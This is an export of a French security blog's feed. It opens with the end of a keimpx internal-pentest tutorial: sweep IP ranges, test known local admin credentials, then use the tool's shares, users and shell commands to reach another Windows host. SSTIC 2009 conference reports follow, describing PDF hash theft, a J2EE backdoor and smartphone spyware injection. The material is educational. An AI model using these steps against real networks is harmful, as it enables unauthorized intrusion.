beaucoup.&lt;/li&gt;&lt;/ul&gt;Alors à ces deux points, j'ai rédigé un petit script (oui oui, j'aurais certainement pu trouver "tout fait" sur le Net mais un peu de scripting à la bourrin, càd tout ce que je sais faire, fait du bien de temps en temps ;)) :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;mon script prend en paramètre un fichier texte contenant des plages d'adresses et/ou des adresses uniques pour en faire une liste d'hôtes unique que keimpx saura gérer ; &lt;/li&gt;&lt;li&gt;dans cette liste, je ping les machines pour connaître celles qui répondront. Les autres ne seront alors pas traitées par keimpx et là, on gagne du temps !&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;J'ai donc une liste de machines "optimisée" dans le sens où elle devrait être exhaustive sans avoir eu à taper 298361 adresses IP à la main, et en ne gardant que celles qui répondent. Pour terminer, mon script ne fait que lancer keimpx avec cette liste et les credentials sensé être connus (hypothèse) :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_BhVyBIyY5_8/S6orm1hUMEI/AAAAAAAAAjw/1QIy388v5_s/s1600/keimpx_in_progress2_OK.PNG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5452218245087244354" style="DISPLAY: block; MARGIN: 0px auto 10px; WIDTH: 344px; CURSOR: pointer; HEIGHT: 125px; TEXT-ALIGN: center" alt="" src="http://4.bp.blogspot.com/_BhVyBIyY5_8/S6orm1hUMEI/AAAAAAAAAjw/1QIy388v5_s/s400/keimpx_in_progress2_OK.PNG" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Je parle de keimpx depuis tout à l'heure mais quelles sont ces possibilités en fait ? Petite démonstration ;)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="COLOR: rgb(51,153,153)"&gt;Keimpx en action ...&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Une fois le traitement de fichier le pinging effectué, Keimpx est lancé. Il nous fournit la liste des machines ayant le couple login/mdp connu pour l'admin local. 2 adresses sont "matchées" ici :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_BhVyBIyY5_8/S6otImls4SI/AAAAAAAAAkA/ugzr1-RJxkk/s1600/keimpx_in_progress3_OK.PNG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5452219924706287906" style="DISPLAY: block; MARGIN: 0px auto 10px; WIDTH: 400px; CURSOR: pointer; HEIGHT: 282px; TEXT-ALIGN: center" alt="" src="http://3.bp.blogspot.com/_BhVyBIyY5_8/S6otImls4SI/AAAAAAAAAkA/ugzr1-RJxkk/s400/keimpx_in_progress3_OK.PNG" border="0" /&gt;&lt;/a&gt;La machine XXX.XXX.XXX.136 est ma machine donc aucun intérêt. On s'attaquera donc à la machine XXX.XXX.XXX.219.&lt;br /&gt;Ensuite, chose intéressante, keimpx nous propose un shell : moi je dis "oui" !&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_BhVyBIyY5_8/S6ot7JQwDXI/AAAAAAAAAkI/Lp120lyK3Y0/s1600/keimpx_in_progress4_OK.PNG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5452220793007115634" style="DISPLAY: block; MARGIN: 0px auto 10px; WIDTH: 400px; CURSOR: pointer; HEIGHT: 98px; TEXT-ALIGN: center" alt="" src="http://1.bp.blogspot.com/_BhVyBIyY5_8/S6ot7JQwDXI/AAAAAAAAAkI/Lp120lyK3Y0/s400/keimpx_in_progress4_OK.PNG" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;On nous demande donc de choisir la machine cible, ici la deuxième. Puis, les credentials à utiliser. Il n'y a pas le choix : tapez 1 puis entrée.&lt;br /&gt;&lt;br /&gt;Ensuite, les commandes (et possibilités) sont nombreuses. En voici quelques exemples :&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Naviguer sur les disques (via les shares) :&lt;/li&gt;&lt;/ul&gt;&lt;blockquote&gt;#shares&lt;/blockquote&gt;&lt;br /&gt;Puis choisissez le disque souhaité, ici C$ :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_BhVyBIyY5_8/S6ou15lDoaI/AAAAAAAAAkQ/HlntklLR2Vg/s1600/shares_OK.PNG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5452221802409599394" style="DISPLAY: block; MARGIN: 0px auto 10px; WIDTH: 400px; CURSOR: pointer; HEIGHT: 271px; TEXT-ALIGN: center" alt="" src="http://3.bp.blogspot.com/_BhVyBIyY5_8/S6ou15lDoaI/AAAAAAAAAkQ/HlntklLR2Vg/s400/shares_OK.PNG" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="TEXT-ALIGN: justify"&gt;&lt;ul&gt;&lt;li&gt;Lister les utilisateurs ainsi que la politique de sécurité sur les comptes (extrait) :&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;blockquote&gt;#users&lt;/blockquote&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_BhVyBIyY5_8/S6ovvwfvoXI/AAAAAAAAAkY/mH1GXDyO5YE/s1600/users_OK.PNG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5452222796403810674" style="DISPLAY: block; MARGIN: 0px auto 10px; WIDTH: 302px; CURSOR: pointer; HEIGHT: 400px; TEXT-ALIGN: center" alt="" src="http://3.bp.blogspot.com/_BhVyBIyY5_8/S6ovvwfvoXI/AAAAAAAAAkY/mH1GXDyO5YE/s400/users_OK.PNG" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Obtenir un shell :&lt;/li&gt;&lt;/ul&gt;&lt;blockquote&gt;#shell&lt;/blockquote&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_BhVyBIyY5_8/S6owcR8wbXI/AAAAAAAAAko/FHjNPjWkBcM/s1600/shell_OK.PNG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5452223561298111858" style="DISPLAY: block; MARGIN: 0px auto 10px; WIDTH: 293px; CURSOR: pointer; HEIGHT: 139px; TEXT-ALIGN: center" alt="" src="http://2.bp.blogspot.com/_BhVyBIyY5_8/S6owcR8wbXI/AAAAAAAAAko/FHjNPjWkBcM/s400/shell_OK.PNG" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Bon bah ça, c'est fait ;)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="COLOR: rgb(51,153,153)"&gt;Conclusion&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;L'engouement pour les applications WEB et tests externes fait que de nombreux outils existent dans ce sens. Keimpx touche un autre domaine où les outils sont moins présents. Ils ne permettra pas nécessairement de faire plus de chose qu'avant mais il nous servira certainement de couteau suisse de tests internes en nous simplifiant les choses.&lt;br /&gt;&lt;br /&gt;Maintenant à vous de jouer pour le tester et découvrir ces autres fonctions.&lt;br /&gt;Have fun!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9218294967285138539-1532007226861551299?l=mission-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mission-security.blogspot.com/feeds/1532007226861551299/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9218294967285138539&amp;postID=1532007226861551299' title='2 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/1532007226861551299'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/1532007226861551299'/><link rel='alternate' type='text/html' href='http://mission-security.blogspot.com/2010/03/internal-pentesting-windows-hacking.html' title='[INTERNAL PENTESTING] Windows Hacking'/><author><name>Jer001</name><uri>http://www.blogger.com/profile/10602250886210141882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_BhVyBIyY5_8/S6orm1hUMEI/AAAAAAAAAjw/1QIy388v5_s/s72-c/keimpx_in_progress2_OK.PNG' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9218294967285138539.post-5915937770367728360</id><published>2009-06-05T15:51:00.000-07:00</published><updated>2009-06-08T05:00:38.367-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Theory'/><title type='text'>[SSTIC 2009] Day 3</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;em&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;Troisième et dernière journée. Il manque pas mal de gens à 9h15 ... et même à 13h. On peut en déduire que le social event s'est bien passé :) Une petite pensée aux collègues qui ont tourné pendant trois heures dans  Rennes pour trouver des strip-teaseuses ... en vain ;)&lt;br /&gt;&lt;/span&gt;&lt;/em&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;Matinée&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;J'ai bien aimé cette matinée qui a commencé par une conférence sur les XSS , présentée par Pierre GARDENAT. L'objectif est ici de montrer les conséquences possibles de ces failles. Déjà, OWASP - dont nous avons déjà parlé sur ce blog - classe ce type de vulnérabilités dans ses top vulnérabilités. J'ai bien aimé l'exemple du site mySpace où on marque de ne pas taper&lt;span style="font-style: italic;"&gt; &lt;script&gt;&lt;/span&gt; ni &lt;span style="font-style: italic;"&gt;&lt;/script&gt;&lt;/span&gt; les balises scripts. Ouais mais on est des rebeeels ! Bonne conf dans l'ensemble avec des résultats sans équivoque mais j'aurais  bien aimé qu'on détaille plutôt les attaques sous jacentes comme le &lt;span style="font-style: italic;"&gt;DNS rebinding&lt;/span&gt; et le &lt;span style="font-style: italic;"&gt;click jacking&lt;/span&gt;. Cette dernière attaque est cependant expliquée par XMCO partners &lt;a href="http://www.xmcopartners.com/actu-secu/XMCO-ActuSecu-21-FederalTrojan.pdf"&gt;ici&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Nous  continuons avec une présentation d'un petit gars de chez nous. Il doit s'appeler Fred RAYNAL je crois ou quelque chose comme ça ;) Alors il s'agit ici de montrer qu'après avoir décrié les éditeurs de texte Microsoft, puis OpenOffice, on s'attaque maintenant aux PDFs. Alors des  présentations ont déjà été faites comme on peut le voir &lt;a href="http://esec.fr.sogeti.com/FR/documents/seminaire/2009/05-esec09-malicious-pdf."&gt;ici&lt;/a&gt;. En tant qu'exemple, on voit comment nous arrivons a tirer partie des  failles relevées sur ce format de fichier pour récupérer les hashes windows de la machin. De plus, Fred nous frounit ici d'e nouvelles pistes en cours d'exploitation car il s'avère que le sujet est vaste. Snif, même PDF n'est pas sûr.&lt;br /&gt;&lt;br /&gt;Quant à la troisième conf, j'ai beaucoup apprécié aussi : il s'agissait du projet macaron à télécharger &lt;a href="http://code.google.com/p/macaron/"&gt;ici&lt;/a&gt; dont l'auteur est Philippe PRADOS. C'est un programme malicieux qui s'utilise en tant que backdoor dans une application J2EE (ex ; JBOss, JoNAS, etc ...). Nous avons déjà traité ce genre de sujet sur ce blog et mon petit doigt me dit qu'on en entendra encore parlé prochainement ... La valeur ajoutée de l'outil présenté est :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;qu'il apour but d'être furtif et apparemment, ça marche ;&lt;/li&gt;&lt;li&gt;les commandes proposées nativement par la backdoor sont nombreuses ;&lt;/li&gt;&lt;li&gt;des fonctions d'audits ont l'air intéressantes. En tout cas, l'idée est bonne.&lt;/li&gt;&lt;/ul&gt;Je rajoute dans ma liste de tool à tester suite au SSTIC.&lt;br /&gt;&lt;br /&gt;On continue avec un autre tool qui me paraît lui aussi intéressant : IpMORPH par Guillaume PRIGENT. Le but de cet outil est de dérouter les solutions de fingerprinting actives et passives en fournissant de faux résultats au niveau OS (ex : une OpenBSD à la place d'un Linux). Un début de présentation longuet avec  des beaux powerpoints mais qui n'apporte pas grand chose. La  suite est bien mieux et les  résultats tout à fait satisfaisant. Les démonstrations ont porté sur nmap, ring2, p0f et SinFP qui sont largement répandus. Je me demande cependant ce que cela aurait donné avec des outils plus pointus comme AMAP et si des tests ont été réalisés avec nessuscmd ?&lt;br /&gt;&lt;br /&gt;J'aurais bien aimé vous parler des deux dernières confs de la matinée (&lt;span style="font-style: italic;"&gt;analyse dynamique depuis l'espace noyau avec le projet Kolumbo&lt;/span&gt; et &lt;span style="font-style: italic;"&gt;GPGPU pour la cryptographie&lt;/span&gt;) mais j'ai un peu décroché, non pas que les présentations n'étaient pas intéressantes, c'est juste que j'accusais le coup des 8 heures de sommeil ... en 2 nuits. En même temps,  ça peu paraître beaucoup pour certains : Ok Alexandre et Yann, -100 au geek scoring :)&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;Après-midi&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;L'après-midi était courte avec deux présentations seulement : ça sent déjà la fin :' Nous commençons avec une présentation de Martin Vugnoux sur "les émanations compromettantes électromagnétiques des claviers filiaires". On note de super slides  ;) Et blague mise à part, une présentation rondement menée et accrocheuse. Le speaker nous montre qu'après avoir capté les signaux avec une super antenne et après avoir compris comment ça marchait, on arrive à connaître le caractère tapé sur le clavier à distance. On ne va pas y aller par 4 chemins, ça semble marcher sur tous les supports clavier sans fil, de PDA et voire autres machines à clavier mais l'auteur nous laisse dans le suspens, mystère ! Quant à la pratique des attaques, on arrive à agir de 5 à plusieurs dizaines de mètres selon le support ciblé et les conditions de tests. Bien joué Martin !&lt;br /&gt;&lt;br /&gt;Pour terminer, la  conférence invitée par D. Chanderis. Là, on sent la personne qui a de la bouteille ;) Et ce n'est pas péjoratif, au contraire. On sent la personne cultivée et surtout humaine et pourtant, elle travaille depuis des années dans la SSI : tout n'est peut être pas encore perdu ; on n'est peut être pas encore dans la matrice !!!&lt;br /&gt;L'idée est de dire, qu'il faut croire en les valeurs humaines et non sans provocation que l'humain est le maillon fort ! Alors effectivement, ce genre de propos fait réagir car je ne pense pas être le seul à prendre en compte le facteur humain dans les préconisations d'audit. Il joue un rôle plus qu'essentiel dans le SI et forcément, on lui trouve des faiblesses. Un exemple que j'ai en tête, c'est de stocker en clair des mots de passe (très) important sur sa machine. Alors on me  répondrait qu'on avait qu'à chiffrer son disque. Je crois qu'on peut jouer au chat et à la souris et devant une telle personne, je fais preuve d'humilité, je m'incline. Ce que je cherche à dire cependant à travers cet exemple, c'est que nous avons certainement des idées préconçues (et même, je n'en doute pas) mais il reste certaines choses difficiles à accepter (comme dire que l'humain peut représenter le maillon fort donc). Peut-être s'agit-il seulement de laisser le temps à la réflexion mais comme dit mon philosophe préféré à moi, "l'important, c'est d'y croire".&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Je terminerai en disant que je n'ai pas été déçu cette année par le SSTIC, au contraire et je vous invite à vous rendre sur le site d'une personne qu'on ne présente plus &lt;a href="http://sid.rstack.org/blog/"&gt;ici&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Il ne me reste plus qu'à vous dire à l'année prochaine ... j'espère ;)&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9218294967285138539-5915937770367728360?l=mission-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mission-security.blogspot.com/feeds/5915937770367728360/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9218294967285138539&amp;postID=5915937770367728360' title='5 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/5915937770367728360'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/5915937770367728360'/><link rel='alternate' type='text/html' href='http://mission-security.blogspot.com/2009/06/sstic-2009-day-3.html' title='[SSTIC 2009] Day 3'/><author><name>Jer001</name><uri>http://www.blogger.com/profile/10602250886210141882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9218294967285138539.post-6539753179688509567</id><published>2009-06-04T17:27:00.000-07:00</published><updated>2009-06-05T15:51:16.977-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Theory'/><title type='text'>[SSTIC 2009] Day 2</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;em&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;ça continue pour cette deuxième journée. Déjà, certains ont du mal à se lever pour la première conf. de la journée. Bon, l'objectif est de faire un post moins long que pour le jour 1 !&lt;br /&gt;&lt;/span&gt;&lt;/em&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;Matinée&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Une matinée dédiée au &lt;span style="font-style: italic;"&gt;fuzzing&lt;/span&gt; ! En guise d'introduction, on commence avec une conf. d'Ari TAKANEN, Finlandais.  Il nous explique sa vision sur le sujet : "Fuzzing : le passé, le présent et le futur". Ici, le but, c'est pas de montrer des vulns mais vraiment de voir les techniques de fuzzing et l'évolution de cette technique. Pour savoir quelle technique est la meilleure ou quelle sera celle qui nous conviendra le mieux, il faut prendre en compte trois critères :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;les fonctionnalités offertes par le fuzzer ;&lt;/li&gt;&lt;li&gt;sa robustesse ; &lt;/li&gt;&lt;li&gt;ses performances.&lt;/li&gt;&lt;/ul&gt;L'idée est ici de considérer le modèle de fuzzing (mutation, pre-generated/scripted, block based, model based). Aussi, on souhaite ici se coller au fuzz en cours et l'automatiser au mieux. Par exemple, on cherchera à tenir compte des spécificités du protocole audité. Pour terminer, Ari nous propose une checklist pour choisir ou concevoir son fuzzer.&lt;br /&gt;&lt;br /&gt;La deuxième conf est proposée par Gabriel CAMPANA. Elle fait la transition avec la précédente en présentant l'outil "Fuzzgrind". Ce dernier repose sur deux tools existants : Valgrind et STP. L'idée est que pour chaque nouveau protocole, c'est long de refaire son fuzzer. C'est là que Fuzzgrind arrive. Cet outil va travailler selon les 3 étapes suivantes :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;exécution symbolique du programme audité ;&lt;/li&gt;&lt;li&gt;prise en compte des conditions (tous les cas) ;&lt;/li&gt;&lt;li&gt;création d'une équation pour chacune de ces conditions.&lt;/li&gt;&lt;/ul&gt;Des améliorations sont en cours mais déjà, l'outil a déjà trouvé des vulnérabilités dans des programmes comme &lt;span style="font-style: italic;"&gt;readelf&lt;/span&gt; et &lt;span style="font-style: italic;"&gt;swfextract  &lt;/span&gt;... en moins d'une heure ! Bravo !&lt;br /&gt;&lt;br /&gt;La dernière conf sur ce thème du fuzzing est présentée par Laurent BUTTI. On s'attaque maintenant - dans le contexte d'une "architecture de convergence fixe-mobile" - à des protocoles dits de sécurité comme IKEv2 ou EAP . Et là où ça commence à faire peur, c'est qu'on trouve des failles là aussi ... En réalité ces protocoles apparaissent comme sûrs mais l'idée à retenir, c'est qu'il ne faut pas négliger les points sensés être sécurisés pendant les tests de tout genre car les failles vont provenir de l'ingénierie réseau et de l'implémentation de ses protocoles. En résumé, "don't trust any(one|thing)" ... (Source : Mulder dans X-Files ;).&lt;br /&gt;&lt;br /&gt;On enchaîne avec la présentation de Romain RABOIN sur la sécurité des smartphones. Le speaker nous donne d'abord une vue d'ensemble des 4 OS les plus répandus sur le marché (Symbian, iPhone, RIM Blackberry et Windows Mobile). on va faire court : il existe des failles pour tous et il est possible d'espionner les données (appels, voix, ...) via des logiciels appropriés. on se focalise ici sur Windows Mobile et on essaie d'injecter le logiciel espion (un fichier *.cab). A priori, nous avons besoin d'un accès physique au téléphone, le temps d'injecter le programme. Ensuite, on peut agir à distance. Pour éviter cette nécessité, d'accès au téléphone de la victime, plusieurs solutions passent en revue et la gagnante consiste à utiliser le poste de travail avec qui le smartphone se synchronise. Le schéma est alors simple :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;avoir un accès au poste de travail de l'utilisateur (ça n'a jamais posé problème) ;&lt;/li&gt;&lt;li&gt;programmer la synchronisation du logiciel espion avec le smartphone ;&lt;/li&gt;&lt;li&gt;c'est tout !&lt;/li&gt;&lt;/ul&gt;Il faut quand même savoir que notre programme malicieux n'est pas signé. une popup pourrait donc avertir d'utilisateur de son installation. Mais la modification (via &lt;span style="font-style: italic;"&gt;rapi&lt;/span&gt;) d'une stratégie de sécurité permet de remédier à ce problème ;)&lt;br /&gt;&lt;br /&gt;Pour la  conf suivante, on change vraiment de sujet pour parler de watermarking avec Teddy FURON dans une présentation intitulée "le traçage de traitre en multimedia". Comme le titre l'indique, il s'agit de retrouver le ou les personnes coupables d'avoir effectuer une copie illégale d'un multimédia propriétaire (ouh ... pas bien !). Le défi est que les résultats puissent être suffisamment probants pour servir de preuve juridique. On se rend compte que ce n'est pas simples mais que le tatouage donne de bons résultats en se basant sur les faiblesses de la perception humaine (visuelle et sonore). Au final, on remarque que si le fichier n'a pas été trop dégardé par les pirates, nous pourrons retrouver les attaquants en estimant des probabilités sur leur culpabilité.&lt;br /&gt;&lt;br /&gt;La dernière conf de la matinée est présentée par Marie BAREL, juriste attitrée du SSTIC ;) Elle nous présente un cas concret et que nous sommes amener à auditer régulièrement : le vol d'information par un stagiaire (ce que nous simulons pendant un pentest interne en l'occurrence). Les définitions du vol fournies par les lois françaises ne tiennent pas en compte des données numérique car :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;par vol, il devrait y avoir "soustraction" or un vol d'information n'implique pas que l'entreprise touchée n'a plus à ses dispositions les données volées ; &lt;/li&gt;&lt;li&gt;par vol, on s'attend à voler un objet or les infomations représentent un objet "immatériel".&lt;/li&gt;&lt;/ul&gt;On voit qu'il est difficile de se protéger des vols d'information par les employés. Néanmoins, les chartes utilisateurs et NDA sont des premiers pas vers la protection. Il faut savoir aussi que l'employé a "obligation de loyauté" envers son employeur. Il n'empêche qu'une étude américaine affirme que 59% des employés vole des données avant de partir de la compagnie. Malheureusement, le contrat de travail ne prévoit pas toujours la confidentialité des informations après le départ d'une personne (même sur une durée limitée). Pire, le vol d'information est souvent repéré bien tard et la personne est certainement partie depuis ... Pire encore : qui a déjà vu une société où tous les accès (logiques et physiques) ont été correctement désactivés au départ d'une personne ?&lt;br /&gt;En résumé, la loi n'est pas toujours adaptée au monde numérique et en voici la preuve. Cela a pour conséquence des brèches dont les coupables tenteront de se servir.&lt;br /&gt;Pour terminer, je reprends les tois mots de la fin du speaker : "&lt;span style="font-style: italic;"&gt;responsabilisation, communication &lt;/span&gt;et &lt;span style="font-style: italic;"&gt;contrôle&lt;/span&gt;".&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;Après-midi&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;On commence avec Nicolas RUFF avec "Pourquoi la sécurité est un échec".  Le titre annonce la couleur et avec la prés., on a presque envie de déprimer parce la sécurité, c'est notre raison de vivre (surtout si on n'a pas de vie sociale à côté ! :) mais on apprendra pendant les rump sessions qu'il existe des "copine de geek", OUF !) Bon, les problèmes majeurs datent d'il y a 30 ans selon notre speaker (Internet, langage C, ...) : OUF, je n'étais pas né, c'est pas de ma faute !!! J'arrête de déprimer et me dis que je vais quand même à faire de la sécu !&lt;br /&gt;Lors de sa présentation, Nicolas nous montre les grosses failles Windows qui ont eu lieu et auxquelles il a participé et pas vraiment du neuf au final. On ne peut que confirmer que les environnements Windows sont prenables en tests internes. On explique dans la conf. le manque de prévention dans la sécurisation des SI par les entraprises et malheureusement, elles finissent par en payer les conséquences ... Reste à convaincre ces entreprises de payer "au cas où" ... Sinon, je propose qu'on prenne une comm' de 1% à chaque fois qu'on avait prévenu la boîte du problème en cours et qu'aucune correction n'a été apportée ...&lt;br /&gt;&lt;br /&gt;Avant les rumps, on a eu des présentations de projets ayant pour but la sécurisation d'un OS pour un utilisateur lambda qui doit être capable d'effectuer toutes les opérations de bureautique classiques (mail, traitement de texte, e-commerce, ...) : c'est le projet &lt;span style="font-style: italic;"&gt;SEC&amp;amp;SI&lt;/span&gt;. Les trois projets ont des approches différentes mais intéressantes. On retrouve les principes de serveurs mandataires, de sandbox, de hardening, etc. Pas de pronostic pour le moment mais on est obligé de marquer dans nos annales du SSTIC que "sh, ça nous a bien fait shourrir" :))&lt;br /&gt;&lt;br /&gt;Quant aux rumps, on avait de tout. En tant qu'auditeur, j'ai surtout noté les outils &lt;span style="font-style: italic;"&gt;IMA&lt;/span&gt;, &lt;span style="font-style: italic;"&gt;reconet&lt;/span&gt;, &lt;span style="font-style: italic;"&gt;evalSMSI&lt;/span&gt; et &lt;span style="font-style: italic;"&gt;Netifera &lt;/span&gt;que je testerai dès que possible et même pourquoi pas, d'en faire un post.&lt;br /&gt;&lt;br /&gt;PS : raté, je n'ai pas réussi à faire un post plus court qu'hier ; je retente demain !&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9218294967285138539-6539753179688509567?l=mission-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mission-security.blogspot.com/feeds/6539753179688509567/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9218294967285138539&amp;postID=6539753179688509567' title='4 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/6539753179688509567'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/6539753179688509567'/><link rel='alternate' type='text/html' href='http://mission-security.blogspot.com/2009/06/sstic-2009-day-2.html' title='[SSTIC 2009] Day 2'/><author><name>Jer001</name><uri>http://www.blogger.com/profile/10602250886210141882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9218294967285138539.post-3707825395869354866</id><published>2009-06-03T16:15:00.000-07:00</published><updated>2009-06-05T15:40:21.254-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Theory'/><title type='text'>[SSTIC 2009] Day 1</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;em&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;Premier jour de conf pour l'édition 2009.  On retrouve les mêmes, les meilleurs et ... les meilleurs ;) De bonnes confs en perspective. Alors malgré un passage obligé  à la crêperie et au pub, je ne pouvais pas manquer de faire quelques commentaires sur mon blog ;)&lt;br /&gt;&lt;/span&gt;&lt;/em&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;Matinée&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Bon, pour les 3 confs du matin, je vais résumer mieux que sur tous les autres blogs SSI, si si ! Écoutez : "Suite à un problème d'aiguillage à Massy, le train partira avec 20 minutes de retard + 50 minutes de retard car nous prendrons les voies classiques à la place des voies TGV" ...&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;Après-midi :&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;div style="text-align: justify;"&gt;&lt;u&gt;Projet WOMBAT :&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;L'après midi commence avec une conférence intitulée "&lt;span style="font-style: italic;"&gt;Le point de vue d'un WOMBAT sur les attaques Internet&lt;/span&gt;" par M. DACIER, SYMANTEC.&lt;br /&gt;Alors avant de commencer faut savoir qu'il cherche à recruter dans le sud de la France (mouais, bah il fait beau même en Bretagne ! ;)) et qu'il recherche des ressources pour y installer des "sensors". On explique tout ça :&lt;br /&gt;&lt;/div&gt;La présentation se découpe en 3 parties :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;    La collecte d'information ;&lt;/li&gt;&lt;li&gt;    L'analyse de l'information et l'enrichissement des données ;&lt;/li&gt;&lt;li&gt;    Les menaces causées par l'attaque.&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;On connaît les honeypots (ou "pots de miel") mais ici, c'est juste une des  sources utilisées pour la collecte d'infos. En effet, ils utilisent aussi les crawlers et des flux externes. Les honeypots sont basés sur SGNET, la nouvelle génération de ce type de solution. SYMANTEC demande à des partenaires d'installer sur leur(s) machine(s) un "sensor" qui est une "entité 